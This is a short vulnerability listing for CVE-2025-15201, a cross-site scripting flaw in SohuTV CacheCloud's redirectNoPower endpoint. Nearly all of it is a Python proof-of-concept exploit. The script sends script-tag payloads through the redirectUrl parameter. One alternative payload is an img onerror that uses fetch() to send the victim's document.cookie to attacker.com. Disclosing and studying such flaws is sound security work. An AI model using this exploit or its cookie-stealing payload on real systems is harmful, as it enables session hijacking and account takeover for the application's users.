CVE-2025-15201 | SohuTV CacheCloud 跨站脚本漏洞(XSS)

import requests # CVE-2025-15201 PoC - SohuTV CacheCloud XSS in redirectNoPower # Target URL with vulnerable parameter target_url = "http://target-server/cachecloud/web/resource/redirectNoPower" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # Construct exploit URL params = { "redirectUrl": xss_payload } # Send crafted request to inject XSS response = requests.get(target_url, params=params) # Alternative payload using event handler alt_payload = "<img src=x onerror='fetch(\"https://attacker.com/log?cookie=\"+document.cookie)'/>" alt_params = { "redirectUrl": alt_payload } alt_response = requests.get(target_url, params=alt_params) print("PoC executed - XSS payload sent to vulnerable endpoint") print("If successful, the payload will be stored and executed when page is viewed")